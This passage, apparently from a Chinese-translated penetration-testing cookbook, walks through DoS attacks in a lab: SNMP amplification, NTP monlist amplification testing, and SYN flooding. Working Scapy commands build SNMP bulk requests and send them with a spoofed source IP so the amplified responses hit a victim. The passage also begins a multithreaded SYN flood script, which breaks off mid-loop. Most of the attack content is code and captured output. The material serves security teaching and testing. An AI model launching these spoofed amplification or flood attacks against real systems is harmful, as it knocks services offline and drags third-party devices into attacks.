放大攻击的原理是利用第三方设备,使网络流量压倒目标。 对于多数放大攻击,必须满足两个条件:
+ 用于执行攻击的协议不验证请求源
+ 来自所使用的网络功能的响应应该显着大于用于请求它的请求。
DNS 放大攻击的效率取决于 DNS 查询的响应大小。 另外,可以通过使用多个 DNS 服务器来增加攻击的威力。
2016-11-24 11:42:10 +08:00
2016-11-24 14:19:34 +08:00
## 6.5 SNMP 放大 DoS 攻击
2016-11-24 11:42:10 +08:00
SNMP 扩展攻击通过伪造具有大型响应的查询,来利用团体字符串可预测的 SNMP 设备。 通过使用分布式 DDoS 组件,以及通过同时向多个 SNMP 设备发送请求,可以提高这种攻击的效率。
### 准备
为了模拟 SNMP 放大攻击,你需要有一个启用 SNMP 的设备。 所提供的示例使用 Windows XP 设备。 有关设置 Windows 系统的更多信息,请参阅本书第一章中的“安装 Windows Server”秘籍。 此外,此秘籍将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍。
### 操作步骤
为了开始,我们应该初始化一个 SNMP 查询,使其返回到我们的系统,来评估要使用的载荷大小。 为了发送我们的 SNMP 查询请求,我们必须首先构建此请求的层级。 我们需要构建的第一层是 IP 层:
```
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "172.16.36.134"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.134
\options\
```
要构建我们的请求的 IP 层,我们应该将 `IP` 对象赋给变量`i`。 通过调用`display()`函数,我们可以确定该对象的属性配置。 通常,发送和接收地址都设为回送地址`127.0.0.1`。 可以通过将`i.dst`设置为广播地址的字符串值,来更改目标地址并修改这些值。 通过再次调用`display()`函数,我们可以看到,不仅更新了目的地址,而且`Scapy`也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层,我们应该继续构建 UDP 层:
```
>>> u = UDP()
>>> u.display()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
```
要构建我们的请求的 UDP 层我们将使用与IP层相同的技术。 在提供的示例中,`UDP` 对象赋给了`u`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到源和目标端口的默认值都列为`domain`。 您可能能猜到,这表示与端口 53 相关的 DNS服 务。你可能已经猜到,它需要修改为 SNMP 相关的端口:
```
>>> u.dport = 161
>>> u.sport = 161
>>> u.display()
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None
```
要将源端口和目标端口更改为 SNMP应将整数值 161 传递给它; 此值对应于与服务关联的 UDP 端口。 这些更改可以通过再次调用`display()`函数来验证。 现在已经构建了 IP 和 UDP 层,我们需要构建 SNMP 层:
```
>>> snmp = SNMP()
>>> snmp.display()
###[ SNMP ]###
version= v2c
community= 'public'
\PDU\
|###[ SNMPget ]###
| id= 0
| error= no_error
| error_index= 0
|
\varbindlist\
```
为了构建我们的请求的 SNMP 层,我们将使用与 IP 和 UDP 层相同的技术。 在提供的示例中,`SNMP` 对象已赋给`snmp`变量。 如前所述,可以通过调用`display()`函数来标识默认配置。 现在已经构建了 IPUDP 和 SNMP 层,我们需要构建一个批量请求来替换默认赋给 `PDU` 值的`SNMPget`请求:
```
>>> bulk = SNMPbulk()
>>> bulk.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 0
\varbindlist\
```
为了构建 SNMP 批量请求,我们将使用与 IPUDP 和 SNMP 层相同的技术。 在提供的示例中SNMP 批量请求已赋给了`bulk `变量。 如前所述,可以通过调用`display()`函数来确认默认配置。 在这里,我们可以看到有几个值需要修改:
```
>>> bulk.max_repetitions = 50
>>> bulk.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarb ind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]
>>> bulk.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 50
\varbindlist\
|###[ SNMPvarbind ]###
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
| value= <ASN1_NULL[0]>
|###[ SNMPvarbind ]###
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
| value= <ASN1_NULL[0]>
```
SNMP `varbindlist`需要修改来包含查询的 OID 值。 此外,`max_repetitions`赋了整数值为 50。现在批量请求已配置完毕批量请求对象应赋给`SNMP PDU`值:
```
>>> snmp.PDU = bulk
>>> snmp.display()
###[ SNMP ]###
version= v2c
community= 'public'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| non_repeaters= 0
| max_repetitions= 50
| \varbindlist\
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
|
| value= <ASN1_NULL[0]>
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
|
| value= <ASN1_NULL[0]>
```
我们可以通过调用`display()`函数来验证批量请求是否已赋给`SNMP PDU`值。 现在已经构建了 IPUDP 和 SNMP 层,并且批量请求已经配置并赋给 SNMP 层,我们可以通过堆叠这些层来构造请求:
```
>>> request = (i/u/snmp)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= None
src= 172.16.36.224
dst= 172.16.36.134
\options\
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None
###[ SNMP ]###
version= v2c
community= 'public'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| non_repeaters= 0
| max_repetitions= 50
| \varbindlist\
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
|
| value= <ASN1_NULL[0]>
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
|
| value= <ASN1_NULL[0]>
```
可以通过使用斜杠分隔变量来堆叠 IPUDP 和 SNMP 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用`display()`函数来查看请求的配置。 一旦建立了请求,就可以将其传递给发送和接收函数,以便我们可以分析响应:
```
>>> ans = sr1(request,verbose=1,timeout=5)
Begin emission:
Finished to send 1 packets.
Received 1 packets, got 1 answers, remaining 0 packets
>>> ans.display()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 1500
id= 27527
flags= MF
frag= 0L
ttl= 128
proto= udp
chksum= 0x803
src= 172.16.36.134
dst= 172.16.36.224
\options\
###[ UDP ]###
sport= snmp
dport= snmp
len= 2161
chksum= 0xdcbf
###[ Raw ]###
load= '0\x82\x08e\x02\x01\x01\x04\x06public\xa2\x82\x08V\x02\ x01\x00\x02\x01\x00\x02\x01\x000\x82\x08I0\x81\x8b\x06\x08+\x06\x01\x02\ x01\x01\x01\x00\x04\x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0\x10\x06\t+\x06\x01\x02\x01\x19\x01\x01\x00C\x03p\xff?0\x18\x06\ x08+\x06\x01\x02\x01\x01\x02\x00\x06\x0c+\x06\x01\x04\x01\x827\x01\x01\ x03\x01\x010\x15\x06\t+\x06\x01\x02\x01\x19\x01\x02\x00\x04\x08\x07\xde\ x02\x19\x08\r\x1d\x030\x0f\x06\x08+\x06\x01\x02\x01\x01\x03\x00C\x03o\ x8e\x8a0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x03\x00\x02\x01\x000\x0c\ x06\x08+\x06\x01\x02\x01\x01\x04\x00\x04\x000\r\x06\t+\x06\x01\x02\x01\ x19\x01\x04\x00\x04\x000\x1b\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x04\ x0fDEMO-72E8F41CA40\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x05\x00B\x01\x020\ x0c\x06\x08+\x06\x01\x02\x01\x01\x06\x00\x04\x000\x0e\x06\t+\x06\x01\ x02\x01\x19\x01\x06\x00B\x01/0\r\x06\x08+\x06\x01\x02\x01\x01\x07\x00\ x02\x01L0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x07\x00\x02\x01\x000\r\x06\ x08+\x06\x01\x02\x01\x02\x01\x00\x02\x01\x020\x10\x06\t+\x06\x01\x02\x01\ x19\x02\x02\x00\x02\x03\x1f\xfd\xf00\x0f\x06\n+\x06\x01\x02\x01\x02\x02\ x01\x01\x01\x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x01\x01\x02\x01\x010\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\x02\x02\ x01\x020\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x02\x02\x01\ x020(\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\x000\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x03\x02\x01\x030P\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x01\x04\x02\x01\x040\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x01\x05\x02\x01\x050\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x03\x02\x02\x01\x060\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x01\x06\t+\x06\x01\x02\x01\x19\x02\x01\x050\x10\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x04\x01\x02\x02\x05\xf00\x18\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x02\x02\x06\t+\x06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\ x06\x01\x02\x01\x02\x02\x01\x04\x02\x02\x02\x05\xdc0\x18\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x02\x03\x06\t+\x06\x01\x02\x01\x19\x02\x01\ x070\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x01B\x04\x00\x98\x96\ x800\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x04\x06\t+\x06\ x01\x02\x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\ x02B\x04;\x9a\xca\x000\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x05\x06\t+\x06\x01\x02\x01\x19\x02\x01\x020\x0e\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x06\x01\x04\x000\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x03\x01\x04\x03A:\\0\x14\x06\n+\x06\x01\x02\x01\x02\x02\x01\x06\x02\ x04\x06\x00\x0c)\x18\x11\xfb01\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x03\x02\x04"C:\\ Label: Serial Number 5838200b0\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x07\x01\x02\x01\x010\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x03\x03\x04\x03D:\\0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x07\x02\x02\x01\x010\x1d\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\ x04\x04\x0eVirtual Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\ x01\x02\x01\x010\x1e\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\ x04\x0fPhysical Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\ x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x01\x02\ x01\x000\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\t\x01C\x01\x000\x11\x06\ x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x02\x02\x02\x10\x000\x11\x06\ n+\x06\x01\x02\x01\x02\x02\x01\t\x02C\x03m\xbb00\x10\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x04\x03\x02\x01\x000\x12\x06\n+\x06\x01\x02\x01\ x02\x02\x01\n\x01A\x04\x05\xcb\xd6M0\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x04\x04\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\ x02\x01\n\x02A\x03\x06\xb1\xa80\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x04\x05\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x0
```
响应确认了我们已经成功构建了所需请求,并且与最初生成的相对较小请求相比,已经请求了相当大的载荷。 与之相似,整个过程可以使用 Scapy 中的单个命令来执行。 此命令使用所有与上一个练习中讨论的相同的值:
```
>>> sr1(IP(dst="172.16.36.134")/UDP(sport=161,dport=161)/ SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist=[SNMPvarbind(oid=ASN1_OD('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))])),ve rbose=1,timeout=5)
Begin emission: Finished to send 1 packets.
<IP version=4L ihl=5L tos=0x0 len=1500 id=14170 flags=MF frag=0L ttl=128 proto=udp chksum=0x3c30 src=172.16.36.134 dst=172.16.36.224 options=[] |<UDP sport=snmp dport=snmp len=2162 chksum=0xd961 |<Raw load='0\x82\ x08f\x02\x01\x01\x04\x06public\xa2\x82\x08W\x02\x01\x00\x02\x01\x00\ x02\x01\x000\x82\x08J0\x81\x8b\x06\x08+\x06\x01\x02\x01\x01\x01\x00\ x04\x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0\x11\ x06\t+\x06\x01\x02\x01\x19\x01\x01\x00C\x04\x00\xa3i\xad0\x18\x06\x08+\ x06\x01\x02\x01\x01\x02\x00\x06\x0c+\x06\x01\x04\x01\x827\x01\x01\x03\ x01\x010\x15\x06\t+\x06\x01\x02\x01\x19\x01\x02\x00\x04\x08\x07\xde\x02\ x19\t\x08!\x010\x0f\x06\x08+\x06\x01\x02\x01\x01\x03\x00C\x03t\x99\x180\ x0e\x06\t+\x06\x01\x02\x01\x19\x01\x03\x00\x02\x01\x000\x0c\x06\x08+\ x06\x01\x02\x01\x01\x04\x00\x04\x000\r\x06\t+\x06\x01\x02\x01\x19\x01\ x04\x00\x04\x000\x1b\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x04\x0fDEMO72E8F41CA40\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x05\x00B\x01\x020\x0c\x06\ x08+\x06\x01\x02\x01\x01\x06\x00\x04\x000\x0e\x06\t+\x06\x01\x02\x01\ x19\x01\x06\x00B\x01/0\r\x06\x08+\x06\x01\x02\x01\x01\x07\x00\x02\x01L0\ x0e\x06\t+\x06\x01\x02\x01\x19\x01\x07\x00\x02\x01\x000\r\x06\x08+\x06\ x01\x02\x01\x02\x01\x00\x02\x01\x020\x10\x06\t+\x06\x01\x02\x01\x19\x02\ x02\x00\x02\x03\x1f\xfd\xf00\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\ x01\x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x01\ x02\x01\x010\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\x02\x02\x01\x020\ x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x02\x02\x01\x020(\x06\ n+\x06\x01\x02\x01\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\ x000\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x03\x02\x01\x030P\ x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x01\x04\x02\x01\x040\x0f\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x01\x05\x02\x01\x050\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x03\ x02\x02\x01\x060\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x01\ x06\t+\x06\x01\x02\x01\x19\x02\x01\x050\x10\x06\n+\x06\x01\x02\x01\x02\ x02\x01\x04\x01\x02\x02\x05\xf00\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x02\x02\x06\t+\x06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\x06\ x01\x02\x01\x02\x02\x01\x04\x02\x02\x02\x05\xdc0\x18\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x02\x03\x06\t+\x06\x01\x02\x01\x19\x02\x01\x070\ x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x01B\x04\x00\x98\x96\x800\ x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x04\x06\t+\x06\x01\x02\ x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x02B\ x04;\x9a\xca\x000\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x05\ x06\t+\x06\x01\x02\x01\x19\x02\x01\x020\x0e\x06\n+\x06\x01\x02\x01\x02\ x02\x01\x06\x01\x04\x000\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x03\x01\x04\x03A:\\0\x14\x06\n+\x06\x01\x02\x01\x02\x02\x01\x06\x02\x04\ x06\x00\x0c)\x18\x11\xfb01\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x02\x04"C:\\ Label: Serial Number 5838200b0\x0f\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x07\x01\x02\x01\x010\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x03\x03\x04\x03D:\\0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x07\ x02\x02\x01\x010\x1d\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x04\ x04\x0eVirtual Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x01\ x02\x01\x010\x1e\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\x04\ x0fPhysical Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\x02\ x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x01\x02\x01\ x000\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\t\x01C\x01\x000\x11\x06\x0b+\ x06\x01\x02\x01\x19\x02\x03\x01\x04\x02\x02\x02\x10\x000\x11\x06\n+\x06\ x01\x02\x01\x02\x02\x01\t\x02C\x03m\xbb00\x10\x06\x0b+\x06\x01\x02\x01\ x19\x02\x03\x01\x04\x03\x02\x01\x000\x12\x06\n+\x06\x01\x02\x01\x02\x02\ x01\n\x01A\x04\x08OB_0\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\ x04\
```
为了实际将此命令用作攻击,源 IP 地址需要更改为目标系统的 IP 地址。 这样,我们应该能够将载荷重定向给那个受害者。 这可以通过将 IP `src`值更改为目标 IP 地址的字符串来完成:
```
>>> send(IP(dst="172.16.36.134",src="172.16.36.135")/ UDP(sport=161,dport=161)/SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist =[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1. 3.6.1.2.1.19.1.3'))])),verbose=1,count=2)
.
Sent 2 packets.
```
`send()`函数应该用于发送这些伪造请求,因为响应返回预期不会给本地接口。 要确认载荷是否到达目标系统,可以使用 TCPdump 捕获传入流量:
```
admin@ubuntu:~$ sudo tcpdump -i eth0 -vv src 172.16.36.134
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468<asnlen2150]
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468<asnlen2150]
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp
4 packets captured
4 packets received by filter
0 packets dropped by kernel
```
在所提供的示例中TCPdump 配置为捕获`eth0`接口上来自源IP地址`172.16.36.134`SNMP 主机的IP地址的流量。
### 工作原理
放大攻击的原理是利用第三方设备,使网络流量压倒目标。 对于多数放大攻击,必须满足两个条件:
+ 用于执行攻击的协议不验证请求源
+ 来自所使用的网络功能的响应应该显着大于用于请求它的请求。
SNMP 放大攻击的效率取决于 SNMP 查询的响应大小。 另外,可以通过使用多个 SNMP 服务器来增加攻击的威力。
2016-11-24 11:58:20 +08:00
## 6.6 NTP 放大 DoS 攻击
NTP 放大 DoS 攻击利用响应远程 monlist 请求的网络时间协议NTP服务器。 monlist 函数返回与服务器交互的所有设备的列表,在某些情况下最多达 600 个列表。 攻击者可以伪造来自目标 IP 地址的请求,并且漏洞服务器将为每个发送的请求返回非常大的响应。 在写这本书的时候,这仍然是一个常见的威胁,目前正在大规模使用。 因此,我将仅演示如何测试 NTP 服务器,以确定它们是否将响应远程 monlist 请求。 补丁程序可用于大多数 NTP 服务来解决此问题,并且任何有存在漏洞的设备应该修复或下线。
### 准备
为了确定是否可以利用 NTP 服务器执行 NTP 放大攻击,你需要有启用 NTP 的设备。 在提供的示例中Ubuntu 用于托管 NTP 服务。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍。
### 操作步骤
为了确定远程服务器是否运行 NTP 服务Nmap 可用于快速扫描 UDP 端口 123。 `-sU`选项可用于指定 UDP然后可使用`-p`选项来指定端口
```
root@KaliLinux:~# nmap -sU 172.16.36.224 -p 123
Starting Nmap 6.25 ( http://nmap.org ) at 2014-02-24 18:12 EST
Nmap scan report for 172.16.36.224
Host is up (0.00068s latency).
PORT STATE SERVICE
123/udp open ntp
MAC Address: 00:0C:29:09:C3:79 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
```
如果远程服务器上运行 NTP 服务,则扫描应返回打开状态。 Kali Linux 上默认安装的另一个工具可用于确定 NTP 服务是否可用于放大攻击。 NTPDC 工具可用于尝试对远程服务执行 monlist 命令:
```
root@KaliLinux:~# ntpdc -n -c monlist 172.16.36.224
172.16.36.224: timed out, nothing received
***Request timed out
```
理想情况下,我们希望看到的是没有响应返回。 在所提供的第一个示例中,请求超时,并且未接收到输出。 这表明服务器不易受攻击,并且 monlist 命令只能在本地执行:
```
root@KaliLinux:~# ntpdc -c monlist 172.16.36.3
remote address port local address count m ver rstr avgint lstint
========================================================================= ======
host.crossing.com 123 172.16.36.3 18 4 4 1d0 35 1
grub.ca.us.roller.o 123 172.16.36.3 17 4 4 1d0 37 35
va-time.utility.o 123 172.16.36.3 17 4 4 1d0 37 59
cheezpuff.meatball.n 123 172.16.36.3 17 4 4 1d0 38 62
pwnbox.lizard.com 123 172.16.36.3 35 4 4 5d0 65 51
```
或者,如果返回了一系列主机和连接元数据,则远程服务器可能能够用于放大攻击。 对于与服务器交互的每个新主机,会在此列表中添加一个新条目,响应的大小以及可能的载荷会变得更大。
放大攻击的原理是利用第三方设备,使网络流量压倒目标。 对于多数放大攻击,必须满足两个条件:
+ 用于执行攻击的协议不验证请求源
+ 来自所使用的网络功能的响应应该显着大于用于请求它的请求。
NTP 放大攻击的效率取决于 NTP 查询的响应大小。 另外,可以通过使用多个 NTP 服务器来增加攻击的威力。
2016-11-24 14:19:34 +08:00
## 6.7 SYN 泛洪 DoS 攻击
SYN 泛洪 DoS攻击是一种资源消耗攻击。 它的原理是向作为攻击目标的服务相关的远程端口发送大量 TCP SYN 请求。 对于目标服务接收的每个初始 SYN 分组,然后会发送出 SYN + ACK 分组并保持连接打开,来等待来自发起客户端的最终 ACK 分组。 通过使用这些半开请求使目标过载,攻击者可以使服务无响应。
### 准备
为了使用 Scapy 对目标执行完整的 SYN 泛洪,你需要有一个运行 TCP 网络服务的远程系统。 提供的示例使用 Metasploitable2 的实例用。 有关设置 Metasploitable2 的更多信息,请参阅本书第一章中的“安装 Metasploitable2”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano将脚本写入文件系统。 有关编写脚本的更多信息请参阅本书第一章中的“使用文本编辑器VIM 和 Nano”秘籍。
### 操作步骤
为了使用 Scapy 执行 SYN 泛洪,我们需要通过与目标服务关联的端口发送 TCP SYN 请求来开始。 为了向任何给定端口发送 TCP SYN 请求,我们必须首先构建此请求的层级。 我们将需要构建的第一层是 IP 层:
```
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "172.16.36.135"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.135
\options\
```
要构建我们的请求的 IP 层,我们应该将 `IP` 对象赋给变量`i`。 通过调用`display()`函数,我们可以确定该对象的属性配置。 通常,发送和接收地址都设为回送地址`127.0.0.1`。 可以通过将`i.dst`设置为广播地址的字符串值,来更改目标地址并修改这些值。 通过再次调用`display()`函数,我们可以看到,不仅更新了目的地址,而且`Scapy`也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层,我们应该继续构建 TCP 层:
```
>>> t = TCP()
>>> t.display()
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
```
要构建我们的请求的 TCP 层,我们将使用与 IP 层相同的技术。 在提供的示例中,`TCP` 对象赋给了`t`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到目标端口的默认值是 HTTP 80 端口。对于我们的首次扫描,我们将 TCP 配置保留默认。现在我们构建了 IP 和 TCP 层,我们可以通过堆叠这些层来构造请求:
```
>>> response = sr1(i/t,verbose=1,timeout=3)
Begin emission:
Finished to send 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets
>>> response.display()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 44
id= 0
flags= DF
frag= 0L
ttl= 64
proto= tcp
chksum= 0x9944
src= 172.16.36.135
dst= 172.16.36.224
\options\
###[ TCP ]###
sport= http
dport= ftp_data
seq= 3651201360L
ack= 1
dataofs= 6L
reserved= 0L
flags= SA
window= 5840
chksum= 0x1c68
urgptr= 0
options= [('MSS', 1460)]
###[ Padding ]###
load= '\x00\x00'
```
可以通过使用斜杠分隔变量来堆叠 IP 和 TCP 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用`display()`函数来查看请求的配置。 一旦建立了请求,就可以将其传递给发送和接收函数,以便我们可以分析响应:
```
>>> request = (i/t)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 172.16.36.224
dst= 172.16.36.135
\options\
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
```
可以在不独立地构建和堆叠每个层的情况下执行相同的请求。 相反,可以通过直接调用函数并向其传递适当的参数来使用单行命令:
```
>>> sr1(IP(dst="172.16.36.135")/TCP())
Begin emission:
......................................................
Finished to send 1 packets.
..*
Received 57 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x9944 src=172.16.36.135 dst=172.16.36.224 options=[] |<TCP sport=http dport=ftp_data seq=2078775635 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0xca1e urgptr=0 options=[('MSS', 1460)] |<Padding load='\x00\x00' |>>>
```
SYN 泛洪的效率取决于在给定时间段内可以生成的 SYN 请求的数量。 为了提高这个攻击序列的效率,我写了一个多线程脚本,可以执行可由攻击系统处理的,尽可能多的 SYN 数据包注入的并发进程:
```
#!/usr/bin/python
from scapy.all
import * from time
import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "Usage - ./syn_flood.py [Target-IP] [Port Number] [Threads]"
print "Example - ./sock_stress.py 10.0.0.5 80 20"
print "Example will perform a 20x multi-threaded SYN flood attack"
print "against the HTTP (port 80) service on 10.0.0.5"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "Performing SYN flood. Use Ctrl+C to stop attack."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
